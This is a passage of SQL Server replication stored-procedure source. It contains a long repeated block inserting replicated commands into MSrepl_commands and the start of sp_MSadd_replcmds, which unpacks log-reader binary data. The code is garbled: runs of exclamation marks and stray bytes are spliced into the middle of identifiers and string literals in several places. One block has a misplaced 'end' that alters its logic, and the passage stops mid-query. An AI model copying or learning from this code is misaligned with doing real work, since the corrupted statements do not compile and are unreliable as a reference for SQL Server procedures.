        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @3xact_seqno,@3type, @3article_id, 
            @originator_id, 
            @3command_id, @3partial_command, @3command)
    end

    IF @4xact_id = 0x0
      return
    IF @4command IS NOT NULL
    begin
            if @4originator <> N'''' and @4originator_db <> N'''' and @4originator is not null and @4originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@4originator) and
                    dbname = @4originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @4originator, @4originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0

		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @4type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @4article_id, @syncstat, @4xact_seqno 
		end
    
        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @4xact_seqno,@4type, @4article_id, 
            @originator_id, 
            @4command_id, @4partial_command, @4command)
    end

    IF @5xact_id = 0x0
      return
    IF @5command IS NOT NULL
    begin
            if @5originator <> N'''' and @5originator_db <> N'''' and @5originator is not null and @5originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@5originator) and
                    dbname = @5originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @5originator, @5originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @5type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @5article_id, @syncstat, @5xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @5xact_seqno,@5type, @5article_id, 
            @originator_id, 
            @5command_id, @5partial_command, @5command)
    end

    IF @6xact_id = 0x0
      return
    IF @6command IS NOT NULL
    begin
            if @6originator <> N'''' and @6originator_db <> N'''' and @6originator is not null and @6originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@6originator) and
                    dbname = @6originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @6originator, @6originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0

		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @6type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @6article_id, @syncstat, @6xact_seqno 
		end
    
        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @6xact_seqno,@6type, @6article_id, 
            @originator_id, 
            @6command_id, @6partial_command, @6command)
    end

    IF @7xact_id = 0x0
      return
    IF @7command IS NOT NULL
    begin
            if @7originator <> N'''' and @7originator_db <> N'''' and @7originator is not null and @7originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@7originator) and
                    dbname = @7originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @7originator, @7originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @7type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @7article_id, @syncstat, @7xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @7xact_seqno,@7type, @7article_id, 
            @originator_id, 
            @7command_id, @7partial_command, @7command)
    end

    IF @8xact_id = 0x0
      return
    IF @8command IS NOT NULL
    begin
            if @8originator <> N'''' and @8originator_db <> N!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(gL&2vZt'''' and @8originator is not null and @8originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@8originator) and
                    dbname = @8originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @8originator, @8originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @8type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @8article_id, @syncstat, @8xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @8xact_seqno,@8type, @8article_id, 
            @originator_id, 
            @8command_id, @8partial_command, @8command)
    end

    IF @9xact_id = 0x0
      return
    IF @9command IS NOT NULL
    begin
            if @9originator <> N'''' and @9originator_db <> N'''' and @9originator is not null and @9originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@9originator) and
                    dbname = @9originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @9originator, @9originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @9type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @9article_id, @syncstat, @9xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @9xact_seqno,@9type, @9article_id, 
            @originator_id, 
            @9command_id, @9partial_command, @9command)
    end

    IF @10xact_id = 0x0
      return
    IF @10command IS NOT NULL
    begin
            if @10originator <> N'''' and @10originator_db <> N'''' and @10originator is not null and @10originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@10originator) and
                    dbname = @10originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @10originator, @10originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @10type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @10article_id, @syncstat, @10xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @10xact_seqno,@10type, @10article_id, 
            @originator_id, 
            @10command_id, @10partial_command, @10command)
    end

    IF @11xact_id = 0x0
      return
    IF @11command IS NOT NULL
    begin
            if @11originator <> N'''' and @11originator_db <> N'''' and @11originator is not null and @11originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@11originator) and
                    dbname = @11originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @11originator, @11originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @11type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @11article_id, @syncstat, @11xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @11xact_seqno,@11type, @11article_id, 
            @originator_id, 
            @11command_id, @11partial_command, @11command)
    end

    IF @12xact_id = 0x0
      return
    IF @12command IS NOT NULL
    begin
            if @12originator <> N'''' and @12originator_db <> N'''' and @12originator is not null and @12originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@12originator) and
                    dbname = @12originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @12originator, @12originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @12type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @12article_id, @syncstat, @12xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
		VALUES (@publisher_database_id, 
            @12xact_seqno,@12type, @12article_id, 
            @originator_id, 
            @12command_id, @12partial_command, @12command)
    end


    IF @13xact_id = 0x0
      return
    IF @13command IS NOT NULL
    begin
            if @13originator <> N'''' and @13originator_db <> N'''' and @13originator is not null and @13originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@13originator) and
                    dbname = @13originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @13originator, @13originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @13type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @13article_id, @syncstat, @13xact_seqno 
		end

        INSERT INTO MSrepl_co!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(hLӇ_vZtmmands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @13xact_seqno,@13type, @13article_id, 
            @originator_id, 
            @13command_id, @13partial_command, @13command)
    end

    IF @14xact_id = 0x0
      return
    IF @14command IS NOT NULL
    begin
            if @14originator <> N'''' and @14originator_db <> N'''' and @14originator is not null and @14originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@14originator) and
                    dbname = @14originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @14originator, @14originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @14type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @14article_id, @syncstat, @14xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @14xact_seqno,@14type, @14article_id, 
            @originator_id, 
            @14command_id, @14partial_command, @14command)
    end


    IF @15xact_id = 0x0
      return
    IF @15command IS NOT NULL
    begin
            if @15originator <> N'''' and @15originator_db <> N'''' and @15originator is not null and @15originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@15originator) and
                    dbname = @15originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @15originator, @15originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @15type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @15article_id, @syncstat, @15xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @15xact_seqno,@15type, @15article_id, 
            @originator_id, 
            @15command_id, @15partial_command, @15command)
    end

    IF @16xact_id = 0x0
      return
    IF @16command IS NOT NULL
    begin
            if @16originator <> N'''' and @16originator_db <> N'''' and @16originator is not null and @16originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@16originator) and
                    dbname = @16originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @16originator, @16originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @16type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @16article_id, @syncstat, @16xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @16xact_seqno,@16type, @16article_id, 
            @originator_id, 
            @16command_id, @16partial_command, @16command)
    end


    IF @17xact_id = 0x0
      return
    IF @17command IS NOT NULL
    begin
            if @17originator <> N'''' and @17originator_db <> N'''' and @17originator is not null and @17originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@17originator) and
                    dbname = @17originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @17originator, @17originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @17type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @17article_id, @syncstat, @17xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @17xact_seqno,@17type, @17article_id, 
            @originator_id, 
            @17command_id, @17partial_command, @17command)
    end


    IF @18xact_id = 0x0
      return
    IF @18command IS NOT NULL
    begin
            if @18originator <> N'''' and @18originator_db <> N'''' and @18originator is not null and @18originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@18originator) and
                    dbname = @18originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @18originator, @18originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @18type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @18article_id, @syncstat, @18xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @18xact_seqno,@18type, @18article_id, 
            @originator_id, 
            @18command_id, @18partial_command, @18command)
    end


    IF @19xact_id = 0x0
      return
    IF @19command IS NOT NULL
    begin
            if @19originator <> N'''' and @19originator_db <> N'''' and @19originator is not null and @19originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@19originator) and
                    dbname = @19originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvn!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(iL'u2vZtame, dbname) values
                        (@publisher_database_id, @19originator, @19originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @19type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @19article_id, @syncstat, @19xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @19xact_seqno,@19type, @19article_id, 
            @originator_id, 
            @19command_id, @19partial_command, @19command)
    end


    IF @20xact_id = 0x0
      return
    IF @20command IS NOT NULL
    begin
            if @20originator <> N'''' and @20originator_db <> N'''' and @20originator is not null and @20originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@20originator) and
                    dbname = @20originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @20originator, @20originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @20type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @20article_id, @syncstat, @20xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @20xact_seqno,@20type, @20article_id, 
            @originator_id, 
            @20command_id, @20partial_command, @20command)
    end

    IF @21xact_id = 0x0
      return
    IF @21command IS NOT NULL
    begin
            if @21originator <> N'''' and @21originator_db <> N'''' and @21originator is not null and @21originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@21originator) and
                    dbname = @21originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @21originator, @21originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @21type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @21article_id, @syncstat, @21xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @21xact_seqno,@21type, @21article_id, 
            @originator_id, 
            @21command_id, @21partial_command, @21command)
    end

    IF @22xact_id = 0x0
      return
    IF @22command IS NOT NULL
    begin
            if @22originator <> N'''' and @22originator_db <> N'''' and @22originator is not null and @22originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@22originator) and
                    dbname = @22originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @22originator, @22originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
        end
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @22type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @22article_id, @syncstat, @22xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @22xact_seqno,@22type, @22article_id, 
            @originator_id, 
            @22command_id, @22partial_command, @22command)


    IF @23xact_id = 0x0
      return
    IF @23command IS NOT NULL
    begin
            if @23originator <> N'''' and @23originator_db <> N'''' and @23originator is not null and @23originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@23originator) and
                    dbname = @23originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @23originator, @23originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @23type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @23article_id, @syncstat, @23xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @23xact_seqno,@23type, @23article_id, 
            @originator_id, 
            @23command_id, @23partial_command, @23command)
    end

    IF @24xact_id = 0x0
      return
    IF @24command IS NOT NULL
    begin
            if @24originator <> N'''' and @24originator_db <> N'''' and @24originator is not null and @24originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@24originator) and
                    dbname = @24originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @24originator, @24originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @24type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @24article_id, @syncstat, @24xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @24xact_seqno,@24type, @24article_id, 
            @originator_id, 
            @24command_id, @24partial_command, @24command)
    end


    IF @25xact_id = 0x0
      return
    IF @25command IS NOT NULL
    begin
            if @25originator <> N'''' and @25originator_db <> N'''' and @25origin!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(jL!ovZtator is not null and @25originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@25originator) and
                    dbname = @25originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @25originator, @25originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @25type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @25article_id, @syncstat, @25xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @25xact_seqno,@25type, @25article_id, 
            @originator_id, 
            @25command_id, @25partial_command, @25command)
    end


    IF @26xact_id = 0x0
      return
    IF @26command IS NOT NULL
    begin
            if @26originator <> N'''' and @26originator_db <> N'''' and @26originator is not null and @26originator_db is not null 
            begin 
                set @originator_id = null select @originator_id = id from MSrepl_originators where
                    publisher_database_id = @publisher_database_id and UPPER(srvname) = UPPER(@26originator) and
                    dbname = @26originator_db
                if @originator_id is null
                begin
                    insert into MSrepl_originators (publisher_database_id, srvname, dbname) values
                        (@publisher_database_id, @26originator, @26originator_db)
                    select @originator_id = @@identity
                end
            end
            else
                select @originator_id = 0
    
		if( @type in( 37,38 ) )
		begin
		  select @syncstat = 38 - @26type
		  exec sp_MSset_syncstate @publisher_id, @publisher_db, @26article_id, @syncstat, @26xact_seqno 
		end

        INSERT INTO MSrepl_commands (publisher_database_id, xact_seqno, type, article_id, originator_id, command_id, partial_command, command)
VALUES (@publisher_database_id, 
            @26xact_seqno,@26type, @26article_id, 
            @originator_id, 
            @26command_id, @26partial_command, @26command)
    end


    IF @@ERROR <> 0
      return (1)
end

')
    if @@error <> 0 return 1
    exec('
--
-- Name: sp_MSadd_replcmds
--
-- Descriptions: this procedure is used by logreader agent
-- to insert commands in distribution queue.
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: Not public (db owner chaining)
--
raiserror(15339,-1,-1,''sp_MSadd_replcmds'')

')
    if @@error <> 0 return 1
    exec('CREATE PROCEDURE sp_MSadd_replcmds
@publisher_database_id int,
@publisher_id smallint,
@publisher_db sysname,
@data varbinary(1595),
@1data varbinary(1595) = NULL,
@2data varbinary(1595) = NULL,
@3data varbinary(1595) = NULL,
@4data varbinary(1595) = NULL,
@5data varbinary(1595) = NULL,
@6data varbinary(1595) = NULL,
@7data varbinary(1595) = NULL,
@8data varbinary(1595) = NULL,
@9data varbinary(1595) = NULL,
@10data varbinary(1595) = NULL,
@11data varbinary(1595) = NULL,
@12data varbinary(1595) = NULL,
@13data varbinary(1595) = NULL,
@14data varbinary(1595) = NULL,
@15data varbinary(1595) = NULL,
@16data varbinary(1595) = NULL,
@17data varbinary(1595) = NULL,
@18data varbinary(1595) = NULL,
@19data varbinary(1595) = NULL,
@20data varbinary(1595) = NULL,
@21data varbinary(1595) = NULL,
@22data varbinary(1595) = NULL,
@23data varbinary(1595) = NULL,
@24data varbinary(1595) = NULL,
@25data varbinary(1595) = NULL,
@26data varbinary(1595) = NULL
AS
BEGIN
    SET NOCOUNT ON
    DECLARE @date datetime
			,@x int
			,@tempdata varbinary(1595)
			
	DECLARE @xactId			varbinary(10),
			@xactSeqNo		varbinary(10),
			@artId			int,
			@cmdId			int,
			@cmdType		int,
			@fIncomplete	bit,
			@cmdLen			int,
			@originator_id	int,
			@origSrvLen		int,
			@origDbLen		int,
			@origPublId		int,
			@origDbVersion	int,
			@origLSN		varbinary(10),
			@hashKey		int,
			@cmdText		varbinary(1595),
			@originator		sysname,
			@originatorDb	sysname
			
    SELECT @date = GETDATE()

	select @x = 0
	select @tempdata = null
	while @x <= 26
	begin
			select @tempdata = CASE @x
				when 0 then @data
				when 1 then @1data
				when 2 then @2data
				when 3 then @3data
				when 4 then @4data
				when 5 then @5data
				when 6 then @6data
				when 7 then @7data
				when 8 then @8data
				when 9 then @9data
				when 10 then @10data
				when 11 then @11data
				when 12 then @12data
				when 13 then @13data
				when 14 then @14data
				when 15 then @15data
				when 16 then @16data
				when 17 then @17data
				when 18 then @18data
				when 19 then @19data
				when 20 then @20data
				when 21 then @21data
				when 22 then @22data
				when 23 then @23data
				when 24 then @24data
				when 25 then @25data
				when 26 then @26data
			end

		if @tempdata is NULL
			goto END_CMDS

		-- We will now breakup the binary data. Check HP_FIXED_DATA 
		-- in publish.cpp for all of the offsets listed below...
		select @xactId 			= substring( @tempdata, 1, 10),
				@xactSeqNo		= substring( @tempdata, 11, 10),
				@artId			= substring( @tempdata, 21, 4),
				@cmdId			= substring( @tempdata, 25, 4),
				@cmdType		= substring( @tempdata, 29, 4),
				@fIncomplete	= convert(bit, substring( @tempdata, 33, 1)),
				@cmdLen			= substring( @tempdata, 34, 2),
				@origSrvLen		= substring( @tempdata, 36, 2),
				@origDbLen		= substring( @tempdata, 38, 2),
				@hashKey		= substring( @tempdata, 40, 2),
				-- @origPublId  = only done below if an originator len is detected : usually = substring( @tempdata, 42, 4)
				-- @origDbVersion=only done below if an originator len is detected : usually = substring( @tempdata, 46, 4)
				@origLSN		= substring( @tempdata, 50, 10),
				@cmdText		= substring( @tempdata, 60, @cmdLen)
				-- @originator  = only done below if an originator len is detected : usually = substring( @tempdata, 60 + @cmdLen, @origSrvLen)
				-- @originatorDb= only done below if an originator len is detected : usually = substring( @tempdata, 60 + @cmdLen + @origSrvLen, @origDbLen)
				
		IF @cmdId = 1
		begin
			INSERT INTO MSrepl_transactions 
				VALUES (@publisher_database_id, @xactId, @xactSeqNo, @date)
		end

		-- do special processing for the different command typs if needed
		if( @cmdType in( 37,38 ) )
		begin
			select @cmdType = 38 - @cmdType
			exec sp_MSset_syncstate @publisher_id, @publisher_db, @artId, @cmdType, @xactSeqNo
			select @cmdType = (38 - @cmdType) | 0x80000000
		end
		-- Check all posted cmds of SQLCMD type to see if they are tracer records
		-- sql cmd type is (47 | 0x40000000) or 1073741871
		else if @cmdType = 1073741871
		begin
			declare @tracer_id 	int,
				@retcode	int
			
			select @tracer_id = cast(cast(@cmdText as nvarchar) as int)

			exec @retcode = sys.sp_MSupdate_tracer_history @tracer_id = @tracer_id
			if @retcode <> 0 or @@error <> 0
				return 1
		end
		
		-- only add it if the command is not empty
	   	if @cmdLen > 0
	   	begin	  
			--handle nonsync subscription setup when command type is 
			-- REPL_NOSYNC_SUBSCRIPTION_SETUP_LOG_CMD (54)
			if ((@cmdType & 0xFFFFFFF) = 54)
			begin
				-- When logreader gets a log record with this type,
				-- the MSnosyncsubsetup table should already exist,
				-- report the failure if it does not exist.
				if (object!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(kL%͋vZt_id(N''dbo.MSnosyncsubsetup'', ''U'')) is NULL 
				begin
					goto Failure
				end
				else
				begin
					declare @nosyncCommandStr	nvarchar(max),
						@publisher 				sysname,
						@publication 				sysname,
						@article					sysname,
						@subscriber				sysname,
						@destination_db			sysname,
						@subscriptionlsn			binary(10),
						@lsnsource				tinyint,
						@originator_publication_id	int,
						@originator_db_version		int,
						@originator_meta_data		nvarchar(max),
						@nosync_setup_script		nvarchar(max),
						@next_valid_lsn			binary(10),
						@next_valid_lsn_from_log	binary(10)

					select @originator_publication_id = CAST(CAST(substring(@cmdText, 1, 4) AS nvarchar) AS int),
						@next_valid_lsn_from_log = CAST(substring(@cmdText, 5, 10) AS binary(10))
					if @@error <> 0 goto Failure

					-- Verify that the number of parameters is correct before using 
					-- these parameters in sp_MSsetupnosyncsubwithlsnatdist
					if ((select count(*) from dbo.MSnosyncsubsetup
						where publisher_database_id = @publisher_database_id
						and publication_id = @originator_publication_id
						and artid = @artId
						and next_valid_lsn = @next_valid_lsn_from_log) <> 13) goto Failure
					if @@error <> 0 goto Failure

					select @publisher = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''publisher'') as sysname),
					@publisher_db = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
									where publisher_database_id = @publisher_database_id
										and publication_id = @originator_publication_id
										and artid = @artId
										and next_valid_lsn = @next_valid_lsn_from_log
										and parameterName = N''publisher_db'') as sysname),
					@publication = cast((select parameterValue 
									from dbo.MSnosyncsubsetup
